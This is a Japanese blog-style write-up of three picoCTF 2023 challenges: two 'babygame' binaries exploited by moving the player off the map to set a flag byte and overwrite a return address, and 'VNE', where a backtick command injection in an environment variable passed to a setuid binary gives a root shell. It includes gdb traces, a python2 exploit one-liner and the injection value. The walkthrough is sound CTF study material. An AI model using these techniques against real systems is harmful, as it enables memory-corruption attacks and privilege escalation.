🔨

picoCTF 2023

2023/04/05に公開

pwn

babygame01

問題

Get the flag and reach the exit.
Welcome to BabyGame! Navigate around the map and see what you can find! The game is available to download here. There is no source available, so you'll have to figure your way around the map. You can connect with it using nc host port

解き方

解析

問題バイナリがどのような動作をするのか、どのような関数があるのかなどを調べる。

$ file game
game: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=85fcad170460434c915b5ad675a351a2778e24bb, for GNU/Linux 3.2.0, not stripped

$ checksec game
[*] '/home/ubuntu/workspace/ctf/picoCTF2023/pwn/babygame1/game'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x08049000  _init
0x08049040  __libc_start_main@plt
0x08049050  printf@plt
0x08049060  fflush@plt
0x08049070  getchar@plt
0x08049080  fgets@plt
0x08049090  signal@plt
0x080490a0  sleep@plt
0x080490b0  __stack_chk_fail@plt
0x080490c0  puts@plt
0x080490d0  exit@plt
0x080490e0  fopen@plt
0x080490f0  putchar@plt
0x08049100  _start
0x08049140  _dl_relocate_static_pie
0x08049150  __x86.get_pc_thunk.bx
0x08049160  deregister_tm_clones
0x080491a0  register_tm_clones
0x080491e0  __do_global_dtors_aux
0x08049210  frame_dummy
0x08049216  sigint_handler
0x08049233  win
0x080492c8  init_map
0x0804936e  find_player_pos
0x080493e4  find_end_tile_pos
0x08049454  print_flag_status
0x0804948a  print_map
0x0804953a  init_player
0x08049564  move_player
0x08049639  clear_screen
0x08049677  solve_round
0x08049764  main
0x080498a5  __x86.get_pc_thunk.ax
0x080498b0  __stack_chk_fail_local
0x080498c8  _fini
pwndbg>

以下は問題バイナリを実行した際の出力である。
ゲームのタイルのようなものがあり、"@"がPlayerの位置を示し、画面下の"x"がゴールらしい。
また、タイルのようなものの上には、以下の情報が出力されている。

  • Player postion
  • End tile position
  • Player has flag

"Player has flag"が非常に怪しい。また、Win関数があることからこの関数を呼び出せればFlagを取れるように見える。

Player position: 4 4
End tile position: 29 89
Player has flag: 0
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
....@.....................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
.........................................................................................X

次にGhidraで逆コンパイルしたコードを見ていく。
以下は逆コンパイルした結果である。
※一部変数名を変更、また構造体を定義している


/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

undefined4 main(void)

{
  int iVar1;
  undefined4 uVar2;
  int in_GS_OFFSET;
  astruct player_info;
  undefined local_aa0 [2700];
  int local_14;
  undefined *local_10;
  
  local_10 = &stack0x00000004;
  local_14 = *(int *)(in_GS_OFFSET + 0x14);
  init_player(&player_info);
  init_map(local_aa0,&player_info);
  print_map(local_aa0,&player_info);
  signal(2,sigint_handler);
  do {
    do {
      iVar1 = getchar();
      move_player((astruct_1 *)&player_info,(int)(char)iVar1,local_aa0);
      print_map(local_aa0,&player_info);
    } while (player_info.vertical != 0x1d);
  } while (player_info.horizon != 0x59);
  puts("You win!");
  if (player_info.flag != 0) {
    puts("flage");
    win();
    fflush(stdout);
  }
  uVar2 = 0;
  if (local_14 != *(int *)(in_GS_OFFSET + 0x14)) {
    uVar2 = __stack_chk_fail_local();
  }
  return uVar2;
}

player_infoはinit_player関数で定義される。
以下はinit_player関数の処理内容である。

void init_player(astruct *param_1)

{
  param_1->vertical = 4;
  param_1->horizon = 4;
  param_1->flag = 0;
  return;
}

また、問題バイナリを実行すると表示される、"Player has flag"は以下の処理で出力されている。

  1. main関数からprint_map関数をコール
    • print_map(local_aa0, &player_info)
  2. print_map関数からprint_flag_status関数をコール
    • print_flag_status(param2)
  3. "Player has flag {n}"が出力される

print_flag_status関数

void print_flag_status(int param_1)

{
  printf("Player has flag: %d\n",(uint)*(byte *)(param_1 + 8));
  return;
}

またmain関数内でplayer_info.flagが0以外ならwin関数が呼ばれることから、flagの値に0以外の値をセットすればよさそう。

  if (player_info.flag != 0) {
    puts("flage");
    win();
    fflush(stdout);
  }

※ win関数

void win(void)

{
 FILE *__stream;
 int in_GS_OFFSET;
 char local_4c [60];
 int local_10;
 
 local_10 = *(int *)(in_GS_OFFSET + 0x14);
 __stream = fopen("flag.txt","r");
 if (__stream == (FILE *)0x0) {
   puts("flag.txt not found in current directory");
                   /* WARNING: Subroutine does not return */
   exit(0);
 }
 fgets(local_4c,0x3c,__stream);
 printf(local_4c);
 if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
   __stack_chk_fail_local();
 }
 return;

次にgdbでplayer_info構造体がどのようにセットされるかを確認する。
init_playerをコールする際の第一引数が構造体を指すアドレスになるはずなので、これを確認する。

 ► 0x8049796 <main+50>    call   init_player                     <init_player>
        arg[0]: 0xffffc694 ◂— 0x3010101
        arg[1]: 0x464c457f
        arg[2]: 0x3010101
        arg[3]: 0x0

setコマンドで適当に名前を付けておくと後々便利。

pwndbg> set $player_info = 0xffffc694

init_player関数からmain関数に戻った直後のplayer_infoの値を確認する。

pwndbg> x/08x  $player_info
0xffffc694:     0x00000004      0x00000004      0x00000000      0x00030003
0xffffc6a4:     0x00000001      0x00021770      0x00000034      0x0022c30c

ghidraの逆コンパイル結果は以下の通りであるので、実行時のメモリ内容とも一致する。

void init_player(astruct *param_1)

{
  param_1->vertical = 4;
  param_1->horizon = 4;
  param_1->flag = 0;
  return;
}

main関数の処理をコマンド(asdw)入力受付まで進めたところでctrl+cで処理を停止し、この際のplayer_infoの値を確認する。今度はflagが格納されているアドレスの後に2eが連続している。
これは表示されているmapの情報(2eはasciiで"."なため)であると思われる。

pwndbg> x/08x  $player_info
0xffffc694:     0x00000004      0x00000004      0x00000000      0x2e2e2e2e
0xffffc6a4:     0x2e2e2e2e      0x2e2e2e2e      0x2e2e2e2e      0x2e2e2e2e

このゲームはasdwがそれぞれ、a(←)s(↓)d(→)w(↑)に対応しているのでplayerを移動させる。
以下は上に2マス進めた際のplayer_infoである。

pwndbg> x/08x  $player_info
0xffffc694:     0x00000002      0x00000004      0x00000000      0x2e2e2e2e
0xffffc6a4:     0x2e2e2e2e      0x2e2e2e2e      0x2e2e2e2e      0x2e2e2e2e

0xffffc694に入っている値が4->2に変更されたことを確認できる。

win呼び出し

このゲームには欠陥があり、mapの範囲外へplayerを移動させることが可能であるので、これを利用してflagに値をセットする。

初期位置からwwwwaaaaaと入力した際のplayer_infoを確認する。

pwndbg> x/08x  $player_info
0xffffc694:     0x00000000      0xffffffff      0x40000000      0x2e2e2e2e
0xffffc6a4:     0x2e2e2e2e      0x2e2e2e2e      0x2e2e2e2e      0x2e2e2e2e

横軸を示す0xffffc694の値がffで埋められ、"@"を示す0x40が隣のアドレスにセットされている。

さらに3つ左にplayerを移動させると、画面上のflagの値が変化する。

End tile position: 29 89
Player has flag: 64

メモリの中身を確認する。
flagを示すアドレスに0x40がセットされており、flagを入手することができた。

pwndbg> x/08x  $player_info
0xffffc694:     0x00000000      0xfffffffc      0x2e2e2e40      0x2e2e2e2e
0xffffc6a4:     0x2e2e2e2e      0x2e2e2e2e      0x2e2e2e2e      0x2e2e2e2e

あとはplayerをmapの範囲まで戻し、goalさせればクリア。
※"p"を入力すると一気にgoalできる。

You win!
flage
fakeflag

感想

古のゲームのバグみたいで面白かったです。

babygame02

問題

Break the game and get the flag.
Welcome to BabyGame 02! Navigate around the map and see what you can find! The game is available to download here. There is no source available, so you'll have to figure your way around the map. You can connect with it using nc host port.

解き方

babygame01と同じゲームだが、init_playerでflagのセットがされず、win関数も呼び出されない。

しかし、前問同様にplayerをmapの範囲外に移動させることは可能なのでこれを利用してreturnアドレスを変更できればwin関数を呼び出せそう。

しかし、アドレス変更に使えそうな処理が見当たらないので、gameの処理を詳細におってみる。

すると、move_player関数に使えそうな処理があることに気づく。

"l"コマンドを使えばplayer_tileを好きな文字に変更できるようだ。


void move_player(astruct *param_1,char param_2,int param_3)

{
  int iVar1;
  
  if (param_2 == 'l') {
    iVar1 = getchar();
    player_tile = (undefined)iVar1;
  }
  if (param_2 == 'p') {
    solve_round(param_3,param_1);
  }
  *(undefined *)(param_1->vertical * 0x5a + param_3 + param_1->horizon) = 0x2e;
  if (param_2 == 'w') {
    param_1->vertical = param_1->vertical + -1;
  }
  else if (param_2 == 's') {
    param_1->vertical = param_1->vertical + 1;
  }
  else if (param_2 == 'a') {
    param_1->horizon = param_1->horizon + -1;
  }
  else if (param_2 == 'd') {
    param_1->horizon = param_1->horizon + 1;
  }
  *(undefined *)(param_1->vertical * 0x5a + param_3 + param_1->horizon) = player_tile;
  return;

また、move_player関数は、playerを移動させる前にplayerが位置しているtileを"."(0x2e)に変更し、移動先のtileをplayer_tileの値に変更している。

これを利用して、move_playerからmainに戻る際のreturnアドレスをwin関数に上書きすればよさそう。
上記の処理からplayerの移動前に"."に変更してしまうため、一部の上書きしかできないが、最下位バイトのみ上書きするだけでwin関数にジャンプできるので問題ない。

実際にmove_player関数からmain関数に戻る際の処理をgdbで確認する。

*EAX  0xffffc84f ◂— 0x2e2e2e71 ('q...')
*EBX  0xffffc6e3 ◂— 0x2e2e2e2e ('....')
*ECX  0x4
*EDX  0x71
*EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
*ESI  0x4
*EBP  0xffffc6b8 —▸ 0xffffd178 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0
*ESP  0xffffc6a0 —▸ 0x80482cc ◂— 0x35 /* '5' */
*EIP  0x8049542 (move_player+206) ◂— lea esp, [ebp - 8]
──────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────────────────────────────────────────────
 ► 0x8049542 <move_player+206>    lea    esp, [ebp - 8]
   0x8049545 <move_player+209>    pop    ebx
   0x8049546 <move_player+210>    pop    esi
   0x8049547 <move_player+211>    pop    ebp
   0x8049548 <move_player+212>    ret
    ↓
   0x8049709 <main+149>           add    esp, 0x10
   0x804970c <main+152>           sub    esp, 8
   0x804970f <main+155>           lea    eax, [ebp - 0xaa0]
   0x8049715 <main+161>           push   eax
   0x8049716 <main+162>           lea    eax, [ebp - 0xa95]
   0x804971c <main+168>           push   eax
──────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffc6a0 —▸ 0x80482cc ◂— 0x35 /* '5' */
01:0004│     0xffffc6a4 —▸ 0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf10 (_DYNAMIC) ◂— 0x1
02:0008│     0xffffc6a8 —▸ 0xffffd244 —▸ 0xffffd390 ◂— '/ctf/picoCTF2023/pwn/babygame2/game2'
03:000c│     0xffffc6ac —▸ 0xf7ffcb6c (load_time+4) ◂— 0x0
04:0010│     0xffffc6b0 —▸ 0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf10 (_DYNAMIC) ◂— 0x1
05:0014│     0xffffc6b4 —▸ 0xffffd244 —▸ 0xffffd390 ◂— '/ctf/picoCTF2023/pwn/babygame2/game2'
06:0018│ ebp 0xffffc6b8 —▸ 0xffffd178 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0
07:001c│     0xffffc6bc —▸ 0x8049709 (main+149) ◂— add esp, 0x10

0xffffc6bcに0x8049709が格納されており、このアドレスはmain関数でmove_player関数をコール直後のアドレスとなっている。

   disass main 出力の一部
   0x08049703 <+143>:   push   eax
   0x08049704 <+144>:   call   0x8049474 <move_player>
   0x08049709 <+149>:   add    esp,0x10

次にwin関数の処理とアドレスを調べる。

 disass win 出力の一部
 
 0x0804975d <+0>:     push   ebp
   0x0804975e <+1>:     mov    ebp,esp
   0x08049760 <+3>:     push   ebx
   0x08049761 <+4>:     sub    esp,0x44
   0x08049764 <+7>:     call   0x8049140 <__x86.get_pc_thunk.bx>
   0x08049769 <+12>:    add    ebx,0x2897
   0x0804976f <+18>:    nop
   0x08049770 <+19>:    nop
   0x08049771 <+20>:    nop
   0x08049772 <+21>:    nop
   0x08049773 <+22>:    nop
   0x08049774 <+23>:    nop
   0x08049775 <+24>:    nop
   0x08049776 <+25>:    nop
   0x08049777 <+26>:    nop
   0x08049778 <+27>:    nop

nopが連続して配置しており明らかに怪しい。
関数呼び出し直後のプロローグ部分ではなく、nopに飛ばすのが良さそうなので0x08049771にジャンプすることを検討する。

スタックに格納されているreturnアドレスは0x8049709なので、最下位バイトを0x71で上書きすればよさそうなので、"lq"でplayer_tileを"q"に変更しておく。

※"q"はアスキーで0x71ため

$ python3 
>>> hex(ord("q"))
'0x71'

次に書き込み位置を調整していく。
move_player関数でplayer_tileの値を書き込むのは以下の部分である。

*(undefined *)(param_1->vertical * 0x5a + param_3 + param_1->horizon) = player_tile;

param3の値を確認する。

0x8049704 <main+144>    call   move_player                     <move_player>
        arg[0]: 0xffffc6d8 ◂— 0x4
        arg[1]: 0x6c
        arg[2]: 0xffffc6e3 ◂— 0x2e2e2e2e ('....')
        arg[3]: 0x80496eb (main+119) ◂— mov byte ptr [ebp - 9], al

arg[2]で与えられているアドレスの中身を見てみると、mapのアドレスのように見える。

pwndbg> x/20x 0xffffc6e3
0xffffc6e3:     0x2e2e2e2e      0x2e2e2e2e      0x2e2e2e2e      0x2e2e2e2e
0xffffc6f3:     0x2e2e2e2e      0x2e2e2e2e      0x2e2e2e2e      0x2e2e2e2e
0xffffc703:     0x2e2e2e2e      0x2e2e2e2e      0x2e2e2e2e      0x2e2e2e2e
0xffffc713:     0x2e2e2e2e      0x2e2e2e2e      0x2e2e2e2e      0x2e2e2e2e
0xffffc723:     0x2e2e2e2e      0x2e2e2e2e      0x2e2e2e2e      0x2e2e2e2e

上記から初期位置から1つ上のtileに移動する際にplayer_tileの値を書き込むアドレスは、以下のようになるはずである。

>>> hex(3 * 0x5a + 0xffffc6e3 + 4)
'0xffffc7f5'

param_1->vertical * 0x5a + param_3 + param_1->horizon
param_1->vertical: 0x3
param_3: 0xffffc6e3
param_1->horizon: 0x4

gdbで実際に上記のアドレスになっているか確認する。
推測通り、0xffffc7f5にplayer_tileの値を書き込んでいる。

*EAX  0xffffc7f5 ◂— 0x2e2e2e2e ('....')
*EBX  0xffffc6e3 ◂— 0x2e2e2e2e ('....')
*ECX  0x3
*EDX  0x40
*EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
*ESI  0x4
*EBP  0xffffc6b8 —▸ 0xffffd178 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0
*ESP  0xffffc6a0 —▸ 0x80482cc ◂— 0x35 /* '5' */
*EIP  0x804953f (move_player+203) ◂— mov byte ptr [eax], dl
──────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────────────────────────────────────────────
 ► 0x804953f <move_player+203>    mov    byte ptr [eax], dl
   0x8049541 <move_player+205>    nop

main関数へのreturnアドレスは0xffffc6bcに格納されているので、書き込む位置を調整する。
param3のアドレスは0xffffc6e3なのでverticalかhorizonの値をマイナスにする必要があるので、playerをmapの範囲外に移動させ、調整していく。
掛け算が面倒なので、verticalに0をセットし、horizonには0xffffffd9をセットされるようにplayerを移動させればreturn アドレスの一部が上書きされ、retした際にwin関数にジャンプする。

以下はsolverである。

$ python2 -c "print 'l'+'\x71'+'w'*5+'a'*43+'s'" | ./game2

※wを5回入力しているのは移動の途中でセグメンテーションフォルトを起さないため


(snip)
End tile position: 29 89
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
.........................................................................................X
fake

感想

どんな仕組みになっているか理解しないと解けない問題でした。
解析があまり得意でないのでいいエクササイズになりました。

VNE

問題

We've got a binary that can list directories as root, try it out !!
ssh to host:port, and run the binary named "bin" once connected. Login as ctf-player with the password, xxxxxx

解法

権限昇格問題。
binというバイナリにsetuidがセットされているのでこれを使って権限昇格する。

ctf-player@pico-chall$ ls -la
total 28
drwxr-xr-x 1 ctf-player ctf-player    41 Apr  5 11:44 .
drwxr-xr-x 1 root       root          40 Apr  5 11:45 ..
-rw------- 1 root       root         136 Apr  5 11:45 .bash_history
drwx------ 2 ctf-player ctf-player    34 Apr  5 11:39 .cache
-rw-r--r-- 1 root       root          67 Mar 16 01:59 .profile
-rwsr-xr-x 1 root       root       18752 Mar 16 01:59 bin

binを実行すると、環境変数SECRET_DIRに値がセットされていないとエラーが出る。

ctf-player@pico-chall$ ./bin
Error: SECRET_DIR environment variable is not set

問題文にディレクトリ云々と書いてあるので/rootをセットし再度実行する。
実行結果は以下の通り。

ctf-player@pico-chall$export SECRET_DIR=/root
ctf-player@pico-chall$ ./bin 
Listing the content of /root as root:
flag.txt

lsを実行しているだけっぽいのでSECRET_DIRに/bin/bashをセットする。
linuxコマンドラインではバッククォートは囲った部分をコマンド実行し、結果を出力する。

ctf-player@pico-chall$export SECRET_DIR='`/bin/bash`'
※シングルクォートで囲っているのは環境変数にセットするときコマンド実行されないようにするため

ctf-player@pico-chall$ env
SHELL=/bin/bash
PWD=/home/ctf-player
LOGNAME=ctf-player
SECRET_DIR=`/bin/bash`

うまくセットできた。
binを実行するとrootのシェルが取れる。
コマンド実行結果が標準出力に返ってこないが、ファイル権限変更してあげればflagを読める。

ctf-player@pico-chall$ ./bin
Listing the content of `/bin/bash` as root:
root@challenge:~# cp /root/flag.txt /home
root@challenge:~# chmod 777 /home/flag.txt
root@challenge:~# exit

ctf-player@pico-chall$ cat /home/flag.txt
picoCTF{xxxxx}

Discussion